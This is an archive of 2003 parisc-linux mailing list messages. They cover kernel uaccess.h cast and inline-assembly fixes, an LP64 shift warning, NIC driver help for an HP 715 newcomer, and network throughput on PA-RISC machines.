> foo.c:42: warning: left shift count >= width of type
> 
> afaik MAX_ADDRBITS==39 against a long contains only 32bits?

no, long is 64-bit in LP64.  that's what LP64 means.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 9 Nov 2003 17:57:35 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622944 1193 80.91.229.3 (22 Nov 2014 02:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 10:57:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 782414841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 10:57:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AItod-0002Xc-OK; Sun, 09 Nov 2003 17:57:35 +0000
Content-Disposition: inline
In-Reply-To: <3FAE4639.6030200@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20045

On Sun, Nov 09, 2003 at 01:50:49PM +0000, Joel Soete wrote:
> Joel Soete wrote:
> >----------><----------
> >--- uaccess.h.orig    2004-04-20 19:58:08.000000000 +0200
> >+++ uaccess.h-t2    2004-04-20 20:10:41.000000000 +0200
> >@@ -42,8 +42,8 @@
> > #if BITS_PER_LONG == 32
> > #define LDD_KERNEL(ptr) __get_kernel_bad();
> > #define LDD_USER(ptr) __get_user_bad();
> >-#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
> >-#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
> >+#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
> >+#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)
> > #else
> > #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
> > #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
> >----------><----------
> I just test it and it seems to be a fix (among others):

I figured this out in Chicago airport yesterday.  Grant just pointed
me to this mail after I checked in the fix deleting the cast entirely.
Thanks for testing though.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 09 Nov 2003 18:59:48 +0000
Lines: 124
Approved: news@gmane.org
Message-ID: <3FAE8EA4.3050208@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622944 1195 80.91.229.3 (22 Nov 2014 02:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Grant Grundler <grundler@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 11:59:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1766A4841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 11:59:32 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIumY-0004jx-Mx; Sun, 09 Nov 2003 19:59:30 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20046

Just for remainder here is the alignement of uaccess.h (i just finished 
to test on my c110 :)):
----------><----------
--- uaccess.h.orig      2004-04-20 21:03:59.000000000 +0200
+++ uaccess.h   2003-11-09 18:47:06.000000000 +0100
@@ -42,8 +42,8 @@
  #if BITS_PER_LONG == 32
  #define LDD_KERNEL(ptr) __get_kernel_bad();
  #define LDD_USER(ptr) __get_user_bad();
-#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
-#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
+#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
+#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)
  #else
  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
@@ -213,41 +213,33 @@
                 : "=r"(__pu_err)                            \
                 : "r"(ptr), "r"(x), "0"(__pu_err))

-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-       u32 hi = x>>32;
-       u32 lo = x&0xffffffff;
-       __asm__ __volatile__ (
-               "\n1:\tstw %1,0(%0)\n"
-               "\n2:\tstw %2,4(%0)\n"
-               "3:\n"
-               "\t.section __ex_table,\"a\"\n"
-                "\t.word\t1b\n"
-                "\t.word\t(3b-1b)+1\n"
-                "\t.word\t2b\n"
-                "\t.word\t(3b-2b)+1\n"
-                "\t.previous"
-               : : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-       u32 hi = x>>32;
-       u32 lo = x&0xffffffff;
-       __asm__ __volatile__ (
-               "\n1:\tstw %1,0(%%sr3,%0)\n"
-               "\n2:\tstw %2,4(%%sr3,%0)\n"
-               "3:\n"
-               "\t.section __ex_table,\"a\"\n"
-                "\t.word\t1b\n"
-                "\t.word\t(3b-1b)+1\n"
-                "\t.word\t2b\n"
-                "\t.word\t(3b-2b)+1\n"
-                "\t.previous"
-               : : "r"(ptr), "r"(hi), "r"(lo));
+#define __put_kernel_asm64(x, ptr)                         \
+       __asm__ __volatile__ (                              \
+               "\n1:\tstw\t%2,0(%1)\n"                     \
+               "2:\tstw\t%R2,4(%1)\n"                      \
+               "3:\n"                                      \
+               "\t.section __ex_table,\"a\"\n"             \
+                "\t.word\t1b\n"                            \
+                "\t.word\t(3b-1b)+1\n"                     \
+                "\t.word\t2b\n"                            \
+                "\t.word\t(3b-2b)+1\n"                     \
+                "\t.previous"                              \
+               : "=r"(__pu_err)                            \
+               : "r"(ptr), "r"(x), "0"(__pu_err))

-}
+#define __put_user_asm64(x, ptr)                           \
+       __asm__ __volatile__ (                              \
+               "\n1:\tstw\t%2,0(%%sr3,%1)\n"               \
+               "2:\tstw\t%R2,4(%%sr3,%1)\n"                \
+               "3:\n"                                      \
+               "\t.section __ex_table,\"a\"\n"             \
+                "\t.word\t1b\n"                            \
+                "\t.word\t(3b-1b)+1\n"                     \
+                "\t.word\t2b\n"                            \
+                "\t.word\t(3b-2b)+1\n"                     \
+                "\t.previous"                              \
+               : "=r"(__pu_err)                            \
+               : "r"(ptr), "r"(x), "0"(__pu_err))

  #endif

----------><----------

Cheers,
	Joel

PS: I also attach the patch for easy apply
and here I need the cast.



Matthew Wilcox wrote:
> On Sun, Nov 09, 2003 at 01:50:49PM +0000, Joel Soete wrote:
> 
>>Joel Soete wrote:
>>
>>>----------><----------
>>>--- uaccess.h.orig    2004-04-20 19:58:08.000000000 +0200
>>>+++ uaccess.h-t2    2004-04-20 20:10:41.000000000 +0200
>>>@@ -42,8 +42,8 @@
>>>#if BITS_PER_LONG == 32
>>>#define LDD_KERNEL(ptr) __get_kernel_bad();
>>>#define LDD_USER(ptr) __get_user_bad();
>>>-#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
>>>-#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
>>>+#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
>>>+#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)
>>>#else
>>>#define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>>>#define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>>>----------><----------
>>
>>I just test it and it seems to be a fix (among others):
> 
> 
> I figured this out in Chicago airport yesterday.  Grant just pointed
> me to this mail after I checked in the fix deleting the cast entirely.
> Thanks for testing though.
> 



From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 64bits MAX_ADDRESS ?
Date: 09 Nov 2003 13:27:40 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1068406064.1658.9.camel@mulgrave>
References: <3FAE7B44.6020805@tiscali.be> 
	<20031109174832.GD2014@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622945 1201 80.91.229.3 (22 Nov 2014 02:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:25 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 12:27:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10AB04841
	for <parisc-linux@parisc-linux.org>; Sun,  9 Nov 2003 12:27:52 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id hA9JRhY21725;
	Sun, 9 Nov 2003 14:27:43 -0500
In-Reply-To: <20031109174832.GD2014@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20047

On Sun, 2003-11-09 at 11:48, Matthew Wilcox wrote:
> no, long is 64-bit in LP64.  that's what LP64 means.

What Matthew says is correct for the kernel.  You got your error because
you look to have compiled your program in userspace with kernel
headers.  Since userspace is currently only 32 bit, that's why you get
the problems. 

If you want to try out 64 bit userspace, which is the only way userspace
will see a virtual address longer than 32 bits, then there's a
preliminary test environment at

http://parisc-linux.org/~jejb/64bit.tar.gz

The mini library may be sufficient to compile your program.

James




From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shane G. Brodie" <sgbrodie@mts.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPPA Newbie
Date: Sun, 9 Nov 2003 13:48:56 -0600
Lines: 103
Approved: news@gmane.org
Message-ID: <LPENLKGPOOFMNIPKLBNDGEEFCAAA.sgbrodie@mts.net>
Reply-To: <sgbrodie@mts.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0004_01C3A6C8.38528CF0"
X-Trace: ger.gmane.org 1416622945 1204 80.91.229.3 (22 Nov 2014 02:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 12:46:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.mts.net (smtp1.mts.net [205.200.16.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D8D84841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 12:46:46 -0700 (MST)
Original-Received: from herrerasaurus (wnpgmb11dc1-167-132.dynamic.mts.net [142.161.167.132])
	by smtp1.mts.net (8.12.8-20030918/8.11.3) with SMTP id hA9JkjOj015747
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Nov 2003 13:46:45 -0600 (CST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20048

This is a multi-part message in MIME format.

------=_NextPart_000_0004_01C3A6C8.38528CF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I inherited an HP 715/80 (It had HP-UX 10.01 on it originally, and I still
have the original install media) some time ago and am trying to get it up
and running so I can do something useful with it.

I have downloaded and installed PA-Risc Linux 0.93 (I tried several attempts
with network images, but couldn't figure out how to get my 10/100 VG EISA
card working and don't have an aui-Ethernet transceiver for the built-in
nic).  I thought about downloading the Debian ISO's ... but life is just too
short for that many ISO downloads on a low-speed ADSL link ...

I would greatly appreciate some pointers on how to get a NIC working on this
beast so I can connect to the network and update the packages on-board to
hopefully get my system in a state where I can do something useful with it.

In addition to the built-in Ethernet and  the EISA 10/100 VG card, I have a
collection of 3COM ISA cards that I can insert in a pinch.

I'm not much of a C programmer (more of a m$ windoze gui guy), but I'm
willing to provide my 2 cents worth towards developing/editing/maintaining
documentation (when my 5 kids give me the chance).  And I'm willing to give
anything a try ...

Cheers

Shane Brodie

------=_NextPart_000_0004_01C3A6C8.38528CF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1264" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>I =
inherited an HP=20
715/80 (It had HP-UX 10.01 on it originally, and I still have the =
original=20
install media) some time ago and am trying to get it up and running so I =
can do=20
something useful with it.</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>I have =
downloaded=20
and installed PA-Risc Linux 0.93 (I tried several attempts with network =
images,=20
but couldn't figure out how to get my 10/100 VG EISA card working and =
don't have=20
an aui-Ethernet transceiver for the built-in nic).&nbsp; I thought about =

downloading the Debian ISO's ... but life is just too short for that =
many ISO=20
downloads on a low-speed ADSL link ...</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>I =
would greatly=20
appreciate some pointers on how to get a NIC working on this beast so I =
can=20
connect to the network and update the packages on-board to hopefully get =
my=20
system in a state where I can do something useful with =
it.</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>In =
addition to the=20
built-in Ethernet and&nbsp; the EISA 10/100 VG card, I have a collection =
of 3COM=20
ISA cards that I can insert in a pinch.</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>I'm =
not much of a C=20
programmer (more of a m$ windoze gui guy), but I'm willing to provide my =
2 cents=20
worth towards developing/editing/maintaining documentation (when my 5 =
kids give=20
me the chance).&nbsp; And I'm willing to give anything a try=20
...</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2>Cheers</FONT></SPAN></DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D613543619-09112003><FONT face=3DArial size=3D2>Shane=20
Brodie</FONT></SPAN></DIV></BODY></HTML>

------=_NextPart_000_0004_01C3A6C8.38528CF0--



From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPPA Newbie
Date: Sun, 9 Nov 2003 23:21:49 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20031109232149.GI2014@parcelfarce.linux.theplanet.co.uk>
References: <LPENLKGPOOFMNIPKLBNDGEEFCAAA.sgbrodie@mts.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622945 1207 80.91.229.3 (22 Nov 2014 02:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Shane G. Brodie" <sgbrodie@mts.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 16:21:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0031A4841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 16:21:50 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AIysP-0007Bz-Cs; Sun, 09 Nov 2003 23:21:49 +0000
Content-Disposition: inline
In-Reply-To: <LPENLKGPOOFMNIPKLBNDGEEFCAAA.sgbrodie@mts.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20049

On Sun, Nov 09, 2003 at 01:48:56PM -0600, Shane G. Brodie wrote:
> I have downloaded and installed PA-Risc Linux 0.93 (I tried several attempts
> with network images, but couldn't figure out how to get my 10/100 VG EISA
> card working and don't have an aui-Ethernet transceiver for the built-in
> nic).  I thought about downloading the Debian ISO's ... but life is just too
> short for that many ISO downloads on a low-speed ADSL link ...

OK.  We don't normally ship the 100VG driver, but I have tried it on one
machine once, and it seemed to work.  You'll need to compile a new kernel
(or at least a new module).  This card is driven by the hp100 driver,
so look for the CONFIG_HP100 configuration option.

By the way, you said you were new to the platform, so it's worth
pointing out that 100VG is incompatible with the eventual 100 Mbps
Ethernet standard (100TX).  Unless you have a 100VG hub (in which case
you need to hit Grant to stop him sending you obsolete hardware ;-),
you'll need to plug your network cable into the 10Mbps socket on the card.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 9 Nov 2003 21:36:54 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20031110043654.GA16478@colo.lackof.org>
References: <3F9BFB00.5090008@tiscali.be> <20031026172531.GA32146@colo.lackof.org> <3F9C3154.4060105@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622946 1211 80.91.229.3 (22 Nov 2014 02:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:26 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 21:36:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C45E44841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 21:36:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id EE5D529803E; Sun,  9 Nov 2003 21:36:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16007-08; Sun, 9 Nov 2003 21:36:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 05489298037; Sun,  9 Nov 2003 21:36:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F9C3154.4060105@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20050

On Sun, Oct 26, 2003 at 08:40:52PM +0000, Joel Soete wrote:
> hmm may be should I try to rebuild the very last src (from hp).

netperf home is netperf.org.

> More over the pkg is not available for parisc but I trust it would just 
> be rebuild for this platform?

It does run/build on parisc. I've used it before.

Note that with B180, I can only get about 1MB/s throughput max.
With C3000 I get about 5 or 6 MB/s 100BT link.
Your network performance numbers are pretty far off from that
but there might be other factors involved.

I expect mem copy routines are saturating the CPU and thrashing
the data cache.  The tulip driver copies the entire buffer from
where the card DMA'd to the skbuff in order to "bias" the buffer
by 2 bytes. This avoids un-aligned data access in the "common" TCP case.
Adding "unaligned access" macros to the "common" networking code
path has been discussed and rejected (again) in the past month or so.
Linus himself has rejected such proposals in the past too.

If you twiddle the tulip driver to NOT copy all the data for
packets > 512 bytes, the kernel will tell you when/where the network
stack makes unaligned accesses. You can fix those and keep that as
a local patch. I'd be interested in hearing the netperf (or httperf)
numbers with such a patch when compared to the current behavior.

thanks,
grant


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
